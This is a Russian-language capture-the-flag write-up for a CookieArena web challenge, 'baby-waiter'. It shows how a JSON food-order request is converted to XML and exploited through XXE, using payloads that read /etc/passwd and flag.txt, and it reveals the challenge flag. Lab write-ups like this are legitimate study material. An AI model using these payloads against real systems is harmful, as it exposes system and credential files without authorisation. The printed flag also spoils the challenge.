Ссылка: https://battle.cookiearena.org/challenges/web/baby-waiter
***
# Анализирование
Сначала мы просмотрим веб-сайт, на веб-сайте есть функция заказа еды как на картинке ниже

Каждый раз, когда мы выбираем и заказываем товар, мы получаем такой фрагмент json.

Вот мы можем предположить, что это уязвимость `xxe`. Сейчас мы эксплуатируем его.
***
# Эксплуатация

Как видно на картинке выше, мы можем увидеть, что данные отправляются между интерфейсом и сервером в формате JSON.
Поэтому нам нужно преобразовать данные отправлены из формата JSON в формат XML.
```jso!
{
"table_num":"22",
"food":"Ice Scream"
}
```
Преобразование в формат XML будет выглядеть как ниже:
```xml!
<root>
<table_num>22</table_num>
<food>Ice Scream</food>
</root>
```

**Надо изменить `Content-Type: .../json` на `.../xml`**
Нам нужно обратить внимание на ответ сайта, тут только появляется фраза `Ice Scream`, так мы будим использовать полезную нагрузку следующим образом:
```xml!
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>
<table_num>22</table_num>
<food>&xxe;</food>
</root>
```
Полезная нагрузка выше используется технику атаки XXE, просто изменяет `Ice Scream` на `&xxe`;

**Успешная атака**
Так как последняя полезная нагрузка:
```xml!
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<root>
<table_num>22</table_num>
<food>&xxe;</food>
</root>
```
Просто изменяет адрес, чтобы получить флаг.

**Получил флаг**: CHH{5ImPle_XX3_e902abf07b59e4a618d9f78a5cba1a98}
***
# Заключение
Спасибо за прочтение и увидимся в следующем посте. Пока!!!